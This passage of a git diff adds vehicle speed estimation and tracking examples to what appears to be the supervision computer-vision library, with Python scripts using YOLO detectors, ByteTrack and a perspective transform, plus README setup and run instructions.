--iou_threshold 0.5
|
||||
```
|
||||
|
||||
- ultralytics
|
||||
|
||||
```bash
|
||||
python ultralytics_example.py \
|
||||
--source_video_path data/vehicles.mp4 \
|
||||
--target_video_path data/vehicles-result.mp4 \
|
||||
--confidence_threshold 0.3 \
|
||||
--iou_threshold 0.5
|
||||
```
|
||||
|
||||
## © license
|
||||
|
||||
This demo integrates two main components, each with its own licensing:
|
||||
|
||||
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
|
||||
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
|
||||
You can find more details about this license here.
|
||||
|
||||
- supervision: The analytics code that powers the zone-based analysis in this demo is
|
||||
based on the Supervision library, which is licensed under the
|
||||
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
|
||||
makes the Supervision part of the code fully open source and freely usable in your
|
||||
projects.
|
||||
@@ -0,0 +1,167 @@
|
||||
import argparse
|
||||
import os
|
||||
from collections import defaultdict, deque
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
from inference.models.utils import get_roboflow_model
|
||||
|
||||
import supervision as sv
|
||||
|
||||
SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
|
||||
|
||||
TARGET_WIDTH = 25
|
||||
TARGET_HEIGHT = 250
|
||||
|
||||
TARGET = np.array(
|
||||
[
|
||||
[0, 0],
|
||||
[TARGET_WIDTH - 1, 0],
|
||||
[TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
|
||||
[0, TARGET_HEIGHT - 1],
|
||||
]
|
||||
)
|
||||
|
||||
|
||||
class ViewTransformer:
|
||||
def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
|
||||
source = source.astype(np.float32)
|
||||
target = target.astype(np.float32)
|
||||
self.m = cv2.getPerspectiveTransform(source, target)
|
||||
|
||||
def transform_points(self, points: np.ndarray) -> np.ndarray:
|
||||
reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
|
||||
transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
|
||||
return transformed_points.reshape(-1, 2)
|
||||
|
||||
|
||||
def parse_arguments() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Vehicle Speed Estimation using Inference and Supervision"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--model_id",
|
||||
default="yolov8x-640",
|
||||
help="Roboflow model ID",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--roboflow_api_key",
|
||||
default=None,
|
||||
help="Roboflow API KEY",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_video_path",
|
||||
required=True,
|
||||
help="Path to the source video file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target_video_path",
|
||||
required=True,
|
||||
help="Path to the target video file (output)",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--confidence_threshold",
|
||||
default=0.3,
|
||||
help="Confidence threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
|
||||
)
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
args = parse_arguments()
|
||||
|
||||
api_key = args.roboflow_api_key
|
||||
api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
|
||||
if api_key is None:
|
||||
raise ValueError(
|
||||
"Roboflow API key is missing. Please provide it as an argument or set the "
|
||||
"ROBOFLOW_API_KEY environment variable."
|
||||
)
|
||||
args.roboflow_api_key = api_key
|
||||
|
||||
video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
|
||||
model = get_roboflow_model(model_id=args.model_id, api_key=args.roboflow_api_key)
|
||||
|
||||
byte_track = sv.ByteTrack(
|
||||
frame_rate=video_info.fps, track_thresh=args.confidence_threshold
|
||||
)
|
||||
|
||||
thickness = sv.calculate_dynamic_line_thickness(
|
||||
resolution_wh=video_info.resolution_wh
|
||||
)
|
||||
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
|
||||
bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
|
||||
label_annotator = sv.LabelAnnotator(
|
||||
text_scale=text_scale,
|
||||
text_thickness=thickness,
|
||||
text_position=sv.Position.BOTTOM_CENTER,
|
||||
)
|
||||
trace_annotator = sv.TraceAnnotator(
|
||||
thickness=thickness,
|
||||
trace_length=video_info.fps * 2,
|
||||
position=sv.Position.BOTTOM_CENTER,
|
||||
)
|
||||
|
||||
frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
|
||||
|
||||
polygon_zone = sv.PolygonZone(
|
||||
polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
|
||||
)
|
||||
view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
|
||||
|
||||
coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
|
||||
|
||||
with sv.VideoSink(args.target_video_path, video_info) as sink:
|
||||
for frame in frame_generator:
|
||||
results = model.infer(frame)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
detections = detections[detections.confidence > args.confidence_threshold]
|
||||
detections = detections[polygon_zone.trigger(detections)]
|
||||
detections = detections.with_nms(threshold=args.iou_threshold)
|
||||
detections = byte_track.update_with_detections(detections=detections)
|
||||
|
||||
points = detections.get_anchors_coordinates(
|
||||
anchor=sv.Position.BOTTOM_CENTER
|
||||
)
|
||||
points = view_transformer.transform_points(points=points).astype(int)
|
||||
|
||||
for tracker_id, [_, y] in zip(detections.tracker_id, points):
|
||||
coordinates[tracker_id].append(y)
|
||||
|
||||
labels = []
|
||||
for tracker_id in detections.tracker_id:
|
||||
if len(coordinates[tracker_id]) < video_info.fps / 2:
|
||||
labels.append(f"#{tracker_id}")
|
||||
else:
|
||||
coordinate_start = coordinates[tracker_id][-1]
|
||||
coordinate_end = coordinates[tracker_id][0]
|
||||
distance = abs(coordinate_start - coordinate_end)
|
||||
time = len(coordinates[tracker_id]) / video_info.fps
|
||||
speed = distance / time * 3.6
|
||||
labels.append(f"#{tracker_id} {int(speed)} km/h")
|
||||
|
||||
annotated_frame = frame.copy()
|
||||
annotated_frame = trace_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections
|
||||
)
|
||||
annotated_frame = bounding_box_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections
|
||||
)
|
||||
annotated_frame = label_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections, labels=labels
|
||||
)
|
||||
|
||||
sink.write_frame(annotated_frame)
|
||||
cv2.imshow("frame", annotated_frame)
|
||||
if cv2.waitKey(1) & 0xFF == ord("q"):
|
||||
break
|
||||
cv2.destroyAllWindows()
|
||||
@@ -0,0 +1,6 @@
|
||||
supervision==0.18.0rc1
|
||||
tqdm
|
||||
requests
|
||||
ultralytics
|
||||
super-gradients
|
||||
inference
|
||||
@@ -0,0 +1,145 @@
|
||||
import argparse
|
||||
from collections import defaultdict, deque
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
from ultralytics import YOLO
|
||||
|
||||
import supervision as sv
|
||||
|
||||
SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
|
||||
|
||||
TARGET_WIDTH = 25
|
||||
TARGET_HEIGHT = 250
|
||||
|
||||
TARGET = np.array(
|
||||
[
|
||||
[0, 0],
|
||||
[TARGET_WIDTH - 1, 0],
|
||||
[TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
|
||||
[0, TARGET_HEIGHT - 1],
|
||||
]
|
||||
)
|
||||
|
||||
|
||||
class ViewTransformer:
|
||||
def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
|
||||
source = source.astype(np.float32)
|
||||
target = target.astype(np.float32)
|
||||
self.m = cv2.getPerspectiveTransform(source, target)
|
||||
|
||||
def transform_points(self, points: np.ndarray) -> np.ndarray:
|
||||
reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
|
||||
transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
|
||||
return transformed_points.reshape(-1, 2)
|
||||
|
||||
|
||||
def parse_arguments() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Vehicle Speed Estimation using Ultralytics and Supervision"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_video_path",
|
||||
required=True,
|
||||
help="Path to the source video file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target_video_path",
|
||||
required=True,
|
||||
help="Path to the target video file (output)",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--confidence_threshold",
|
||||
default=0.3,
|
||||
help="Confidence threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
|
||||
)
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
args = parse_arguments()
|
||||
|
||||
video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
|
||||
model = YOLO("yolov8x.pt")
|
||||
|
||||
byte_track = sv.ByteTrack(
|
||||
frame_rate=video_info.fps, track_thresh=args.confidence_threshold
|
||||
)
|
||||
|
||||
thickness = sv.calculate_dynamic_line_thickness(
|
||||
resolution_wh=video_info.resolution_wh
|
||||
)
|
||||
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
|
||||
bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
|
||||
label_annotator = sv.LabelAnnotator(
|
||||
text_scale=text_scale,
|
||||
text_thickness=thickness,
|
||||
text_position=sv.Position.BOTTOM_CENTER,
|
||||
)
|
||||
trace_annotator = sv.TraceAnnotator(
|
||||
thickness=thickness,
|
||||
trace_length=video_info.fps * 2,
|
||||
position=sv.Position.BOTTOM_CENTER,
|
||||
)
|
||||
|
||||
frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
|
||||
|
||||
polygon_zone = sv.PolygonZone(
|
||||
polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
|
||||
)
|
||||
view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
|
||||
|
||||
coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
|
||||
|
||||
with sv.VideoSink(args.target_video_path, video_info) as sink:
|
||||
for frame in frame_generator:
|
||||
result = model(frame)[0]
|
||||
detections = sv.Detections.from_ultralytics(result)
|
||||
detections = detections[detections.confidence > args.confidence_threshold]
|
||||
detections = detections[polygon_zone.trigger(detections)]
|
||||
detections = detections.with_nms(threshold=args.iou_threshold)
|
||||
detections = byte_track.update_with_detections(detections=detections)
|
||||
|
||||
points = detections.get_anchors_coordinates(
|
||||
anchor=sv.Position.BOTTOM_CENTER
|
||||
)
|
||||
points = view_transformer.transform_points(points=points).astype(int)
|
||||
|
||||
for tracker_id, [_, y] in zip(detections.tracker_id, points):
|
||||
coordinates[tracker_id].append(y)
|
||||
|
||||
labels = []
|
||||
for tracker_id in detections.tracker_id:
|
||||
if len(coordinates[tracker_id]) < video_info.fps / 2:
|
||||
labels.append(f"#{tracker_id}")
|
||||
else:
|
||||
coordinate_start = coordinates[tracker_id][-1]
|
||||
coordinate_end = coordinates[tracker_id][0]
|
||||
distance = abs(coordinate_start - coordinate_end)
|
||||
time = len(coordinates[tracker_id]) / video_info.fps
|
||||
speed = distance / time * 3.6
|
||||
labels.append(f"#{tracker_id} {int(speed)} km/h")
|
||||
|
||||
annotated_frame = frame.copy()
|
||||
annotated_frame = trace_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections
|
||||
)
|
||||
annotated_frame = bounding_box_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections
|
||||
)
|
||||
annotated_frame = label_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections, labels=labels
|
||||
)
|
||||
|
||||
sink.write_frame(annotated_frame)
|
||||
cv2.imshow("frame", annotated_frame)
|
||||
if cv2.waitKey(1) & 0xFF == ord("q"):
|
||||
break
|
||||
cv2.destroyAllWindows()
|
||||
@@ -0,0 +1,8 @@
|
||||
import os
|
||||
|
||||
from supervision.assets import VideoAssets, download_assets
|
||||
|
||||
if not os.path.exists("data"):
|
||||
os.makedirs("data")
|
||||
os.chdir("data")
|
||||
download_assets(VideoAssets.VEHICLES)
|
||||
@@ -0,0 +1,145 @@
|
||||
import argparse
|
||||
from collections import defaultdict, deque
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
from super_gradients.common.object_names import Models
|
||||
from super_gradients.training import models
|
||||
|
||||
import supervision as sv
|
||||
|
||||
SOURCE = np.array([[1252, 787], [2298, 803], [5039, 2159], [-550, 2159]])
|
||||
|
||||
TARGET_WIDTH = 25
|
||||
TARGET_HEIGHT = 250
|
||||
|
||||
TARGET = np.array(
|
||||
[
|
||||
[0, 0],
|
||||
[TARGET_WIDTH - 1, 0],
|
||||
[TARGET_WIDTH - 1, TARGET_HEIGHT - 1],
|
||||
[0, TARGET_HEIGHT - 1],
|
||||
]
|
||||
)
|
||||
|
||||
|
||||
class ViewTransformer:
|
||||
def __init__(self, source: np.ndarray, target: np.ndarray) -> None:
|
||||
source = source.astype(np.float32)
|
||||
target = target.astype(np.float32)
|
||||
self.m = cv2.getPerspectiveTransform(source, target)
|
||||
|
||||
def transform_points(self, points: np.ndarray) -> np.ndarray:
|
||||
reshaped_points = points.reshape(-1, 1, 2).astype(np.float32)
|
||||
transformed_points = cv2.perspectiveTransform(reshaped_points, self.m)
|
||||
return transformed_points.reshape(-1, 2)
|
||||
|
||||
|
||||
def parse_arguments() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Vehicle Speed Estimation using YOLO-NAS and Supervision"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_video_path",
|
||||
required=True,
|
||||
help="Path to the source video file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target_video_path",
|
||||
required=True,
|
||||
help="Path to the target video file (output)",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--confidence_threshold",
|
||||
default=0.3,
|
||||
help="Confidence threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
|
||||
)
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
args = parse_arguments()
|
||||
|
||||
video_info = sv.VideoInfo.from_video_path(video_path=args.source_video_path)
|
||||
model = models.get(Models.YOLO_NAS_L, pretrained_weights="coco")
|
||||
|
||||
byte_track = sv.ByteTrack(
|
||||
frame_rate=video_info.fps, track_thresh=args.confidence_threshold
|
||||
)
|
||||
|
||||
thickness = sv.calculate_dynamic_line_thickness(
|
||||
resolution_wh=video_info.resolution_wh
|
||||
)
|
||||
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=video_info.resolution_wh)
|
||||
bounding_box_annotator = sv.BoundingBoxAnnotator(thickness=thickness)
|
||||
label_annotator = sv.LabelAnnotator(
|
||||
text_scale=text_scale,
|
||||
text_thickness=thickness,
|
||||
text_position=sv.Position.BOTTOM_CENTER,
|
||||
)
|
||||
trace_annotator = sv.TraceAnnotator(
|
||||
thickness=thickness,
|
||||
trace_length=video_info.fps * 2,
|
||||
position=sv.Position.BOTTOM_CENTER,
|
||||
)
|
||||
|
||||
frame_generator = sv.get_video_frames_generator(source_path=args.source_video_path)
|
||||
|
||||
polygon_zone = sv.PolygonZone(
|
||||
polygon=SOURCE, frame_resolution_wh=video_info.resolution_wh
|
||||
)
|
||||
view_transformer = ViewTransformer(source=SOURCE, target=TARGET)
|
||||
|
||||
coordinates = defaultdict(lambda: deque(maxlen=video_info.fps))
|
||||
|
||||
with sv.VideoSink(args.target_video_path, video_info) as sink:
|
||||
for frame in frame_generator:
|
||||
result = model.predict(frame)[0]
|
||||
detections = sv.Detections.from_yolo_nas(result)
|
||||
detections = detections[polygon_zone.trigger(detections)]
|
||||
detections = detections.with_nms(threshold=args.iou_threshold)
|
||||
detections = byte_track.update_with_detections(detections=detections)
|
||||
|
||||
points = detections.get_anchors_coordinates(
|
||||
anchor=sv.Position.BOTTOM_CENTER
|
||||
)
|
||||
points = view_transformer.transform_points(points=points).astype(int)
|
||||
|
||||
for tracker_id, [_, y] in zip(detections.tracker_id, points):
|
||||
coordinates[tracker_id].append(y)
|
||||
|
||||
labels = []
|
||||
for tracker_id in detections.tracker_id:
|
||||
if len(coordinates[tracker_id]) < video_info.fps / 2:
|
||||
labels.append(f"#{tracker_id}")
|
||||
else:
|
||||
coordinate_start = coordinates[tracker_id][-1]
|
||||
coordinate_end = coordinates[tracker_id][0]
|
||||
distance = abs(coordinate_start - coordinate_end)
|
||||
time = len(coordinates[tracker_id]) / video_info.fps
|
||||
speed = distance / time * 3.6
|
||||
labels.append(f"#{tracker_id} {int(speed)} km/h")
|
||||
|
||||
annotated_frame = frame.copy()
|
||||
annotated_frame = trace_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections
|
||||
)
|
||||
annotated_frame = bounding_box_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections
|
||||
)
|
||||
annotated_frame = label_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections, labels=labels
|
||||
)
|
||||
|
||||
sink.write_frame(annotated_frame)
|
||||
cv2.imshow("frame", annotated_frame)
|
||||
if cv2.waitKey(1) & 0xFF == ord("q"):
|
||||
break
|
||||
cv2.destroyAllWindows()
|
||||
+92
-11
@@ -1,3 +1,5 @@
|
||||
# tracking
|
||||
|
||||
## 👋 hello
|
||||
|
||||
This script provides functionality for processing videos using YOLOv8 for object
|
||||
@@ -5,16 +7,95 @@ detection and Supervision for tracking and annotation.
|
||||
|
||||
## 💻 install
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
- clone repository and navigate to example directory
|
||||
|
||||
## ⚙️ parameters
|
||||
```bash
|
||||
git clone https://github.com/roboflow/supervision.git
|
||||
cd supervision/examples/tracking
|
||||
```
|
||||
|
||||
| parameter | required | description |
|
||||
|:-------------------------|:--------:|:----------------------------------------------------------------------------------|
|
||||
| `--source_weights_path` | ✓ | Path to the source weights file for YOLOv8. |
|
||||
| `--source_video_path` | ✓ | Path to the source video file to be processed. |
|
||||
| `--target_video_path` | ✓ | Path to the target video file (output). |
|
||||
| `--confidence_threshold` | ✗ | Confidence threshold for YOLO model detection. Default is 0.3. |
|
||||
| `--iou_threshold` | ✗ | IOU (Intersection over Union) threshold for YOLO model detection. Default is 0.7. |
|
||||
- setup python environment and activate it [optional]
|
||||
|
||||
```bash
|
||||
python3 -m venv venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
|
||||
- install required dependencies
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
## 🛠️ script arguments
|
||||
|
||||
- ultralytics
|
||||
|
||||
- `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
|
||||
file, which is essential for the object detection process. This file contains the data
|
||||
that the model uses to identify objects in the video.
|
||||
|
||||
- `--source_video_path`: Required. The path to the source video file to be processed.
|
||||
This is the video on which object detection and annotation will be performed.
|
||||
- `--target_video_path`: Required. The path where the processed video, with annotations
|
||||
added, will be saved. This is your output video file.
|
||||
- `--confidence_threshold` (optional): Sets the confidence level at which the model
|
||||
identifies objects in the video. Default is `0.3`. A higher threshold makes the model
|
||||
more selective, while a lower threshold makes it more inclusive in identifying objects.
|
||||
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
|
||||
for the model, defaulting to `0.7`. This parameter helps in differentiating between
|
||||
distinct objects, especially in crowded scenes.
|
||||
|
||||
- inference
|
||||
|
||||
- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
|
||||
directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
|
||||
variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
|
||||
to acquire your `API KEY`.
|
||||
- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
|
||||
value is `"yolov8x-1280"`.
|
||||
|
||||
- `--source_video_path`: Required. The path to the source video file to be processed.
|
||||
This is the video on which object detection and annotation will be performed.
|
||||
- `--target_video_path`: Required. The path where the processed video, with annotations
|
||||
added, will be saved. This is your output video file.
|
||||
- `--confidence_threshold` (optional): Sets the confidence level at which the model
|
||||
identifies objects in the video. Default is `0.3`. A higher threshold makes the model
|
||||
more selective, while a lower threshold makes it more inclusive in identifying objects.
|
||||
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
|
||||
for the model, defaulting to `0.7`. This parameter helps in differentiating between
|
||||
distinct objects, especially in crowded scenes.
|
||||
|
||||
## ⚙️ run
|
||||
|
||||
- inference
|
||||
|
||||
```bash
|
||||
python inference_example.py \
|
||||
--roboflow_api_key <ROBOFLOW API KEY> \
|
||||
--source_video_path input.mp4 \
|
||||
--target_video_path tracking_result.mp4
|
||||
```
|
||||
|
||||
- ultralytics
|
||||
|
||||
```bash
|
||||
python ultralytics_example.py \
|
||||
--source_weights_path yolov8s.pt \
|
||||
--source_video_path input.mp4 \
|
||||
--target_video_path tracking_result.mp4
|
||||
```
|
||||
|
||||
## © license
|
||||
|
||||
This demo integrates two main components, each with its own licensing:
|
||||
|
||||
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
|
||||
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
|
||||
You can find more details about this license here.
|
||||
|
||||
- supervision: The analytics code that powers the zone-based analysis in this demo is
|
||||
based on the Supervision library, which is licensed under the
|
||||
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
|
||||
makes the Supervision part of the code fully open source and freely usable in your
|
||||
projects.
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
import argparse
|
||||
import os
|
||||
|
||||
from inference.models.utils import get_roboflow_model
|
||||
from tqdm import tqdm
|
||||
|
||||
import supervision as sv
|
||||
|
||||
|
||||
def process_video(
|
||||
roboflow_api_key: str,
|
||||
model_id: str,
|
||||
source_video_path: str,
|
||||
target_video_path: str,
|
||||
confidence_threshold: float = 0.3,
|
||||
iou_threshold: float = 0.7,
|
||||
) -> None:
|
||||
model = get_roboflow_model(model_id=model_id, api_key=roboflow_api_key)
|
||||
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
frame_generator = sv.get_video_frames_generator(source_path=source_video_path)
|
||||
video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)
|
||||
|
||||
with sv.VideoSink(target_path=target_video_path, video_info=video_info) as sink:
|
||||
for frame in tqdm(frame_generator, total=video_info.total_frames):
|
||||
results = model.infer(
|
||||
frame, confidence=confidence_threshold, iou_threshold=iou_threshold
|
||||
)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
detections = tracker.update_with_detections(detections)
|
||||
|
||||
annotated_frame = box_annotator.annotate(
|
||||
scene=frame.copy(), detections=detections
|
||||
)
|
||||
|
||||
annotated_labeled_frame = label_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections
|
||||
)
|
||||
|
||||
sink.write_frame(frame=annotated_labeled_frame)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Video Processing with Inference and ByteTrack"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--model_id",
|
||||
default="yolov8x-1280",
|
||||
help="Roboflow model ID",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_video_path",
|
||||
required=True,
|
||||
help="Path to the source video file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target_video_path",
|
||||
required=True,
|
||||
help="Path to the target video file (output)",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--confidence_threshold",
|
||||
default=0.3,
|
||||
help="Confidence threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iou_threshold", default=0.7, help="IOU threshold for the model", type=float
|
||||
)
|
||||
parser.add_argument(
|
||||
"--roboflow_api_key",
|
||||
default=None,
|
||||
help="Roboflow API key",
|
||||
type=str,
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
api_key = args.roboflow_api_key
|
||||
api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
|
||||
if api_key is None:
|
||||
raise ValueError(
|
||||
"Roboflow API key is missing. Please provide it as an argument or set the "
|
||||
"ROBOFLOW_API_KEY environment variable."
|
||||
)
|
||||
args.roboflow_api_key = api_key
|
||||
|
||||
process_video(
|
||||
roboflow_api_key=args.roboflow_api_key,
|
||||
model_id=args.model_id,
|
||||
source_video_path=args.source_video_path,
|
||||
target_video_path=args.target_video_path,
|
||||
confidence_threshold=args.confidence_threshold,
|
||||
iou_threshold=args.iou_threshold,
|
||||
)
|
||||
@@ -1,3 +1,4 @@
|
||||
inference
|
||||
supervision
|
||||
tqdm
|
||||
ultralytics
|
||||
|
||||
@@ -17,7 +17,7 @@ def process_video(
|
||||
|
||||
tracker = sv.ByteTrack()
|
||||
box_annotator = sv.BoundingBoxAnnotator()
|
||||
label_annotator = sv.LabelAnnotator(classes=model.names)
|
||||
label_annotator = sv.LabelAnnotator()
|
||||
frame_generator = sv.get_video_frames_generator(source_path=source_video_path)
|
||||
video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)
|
||||
|
||||
@@ -1 +1,2 @@
|
||||
data/
|
||||
venv/
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
# traffic analysis
|
||||
|
||||
## 👋 hello
|
||||
|
||||
This script performs traffic flow analysis using YOLOv8, an object-detection method and ByteTrack, a simple yet effective online multi-object tracking method. It uses the supervision package for multiple tasks such as tracking, annotations, etc.
|
||||
This script performs traffic flow analysis using YOLOv8, an object-detection method and
|
||||
ByteTrack, a simple yet effective online multi-object tracking method. It uses the
|
||||
supervision package for multiple tasks such as tracking, annotations, etc.
|
||||
|
||||
https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-60e9c81b3900
|
||||
|
||||
@@ -8,37 +12,105 @@ https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-
|
||||
|
||||
- clone repository and navigate to example directory
|
||||
|
||||
```bash
|
||||
git clone https://github.com/roboflow/supervision.git
|
||||
cd supervision/examples/traffic_analysis
|
||||
```
|
||||
```bash
|
||||
git clone https://github.com/roboflow/supervision.git
|
||||
cd supervision/examples/traffic_analysis
|
||||
```
|
||||
|
||||
- setup python environment and activate it [optional]
|
||||
|
||||
```bash
|
||||
python3 -m venv venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
```bash
|
||||
python3 -m venv venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
|
||||
- install required dependencies
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
- download `traffic_analysis.pt` and `traffic_analysis.mov` files
|
||||
|
||||
```bash
|
||||
./setup.sh
|
||||
```
|
||||
```bash
|
||||
./setup.sh
|
||||
```
|
||||
|
||||
## 🛠️ script arguments
|
||||
|
||||
- ultralytics
|
||||
|
||||
- `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
|
||||
file, which is essential for the object detection process. This file contains the
|
||||
data that the model uses to identify objects in the video.
|
||||
|
||||
- `--source_video_path`: Required. The path to the source video file that will be
|
||||
analyzed. This is the input video on which traffic flow analysis will be performed.
|
||||
- `--target_video_path` (optional): The path to save the output video with
|
||||
annotations. If not specified, the processed video will be displayed in real-time
|
||||
without being saved.
|
||||
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
|
||||
model to filter detections. Default is `0.3`. This determines how confident the
|
||||
model should be to recognize an object in the video.
|
||||
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
|
||||
for the model. Default is 0.7. This value is used to manage object detection
|
||||
accuracy, particularly in distinguishing between different objects.
|
||||
|
||||
- inference
|
||||
|
||||
- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
|
||||
directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
|
||||
variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
|
||||
to acquire your `API KEY`.
|
||||
- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
|
||||
value is `"vehicle-count-in-drone-video/6"`.
|
||||
|
||||
- `--source_video_path`: Required. The path to the source video file that will be
|
||||
analyzed. This is the input video on which traffic flow analysis will be performed.
|
||||
- `--target_video_path` (optional): The path to save the output video with
|
||||
annotations. If not specified, the processed video will be displayed in real-time
|
||||
without being saved.
|
||||
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
|
||||
model to filter detections. Default is `0.3`. This determines how confident the
|
||||
model should be to recognize an object in the video.
|
||||
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
|
||||
for the model. Default is 0.7. This value is used to manage object detection
|
||||
accuracy, particularly in distinguishing between different objects.
|
||||
|
||||
## ⚙️ run
|
||||
|
||||
```bash
|
||||
python script.py \
|
||||
--source_weights_path data/traffic_analysis.pt \
|
||||
--source_video_path data/traffic_analysis.mov \
|
||||
--confidence_threshold 0.3 \
|
||||
--iou_threshold 0.5 \
|
||||
--target_video_path data/traffic_analysis_result.mov
|
||||
```
|
||||
- ultralytics
|
||||
|
||||
```bash
|
||||
python ultralytics_example.py \
|
||||
--source_weights_path data/traffic_analysis.pt \
|
||||
--source_video_path data/traffic_analysis.mov \
|
||||
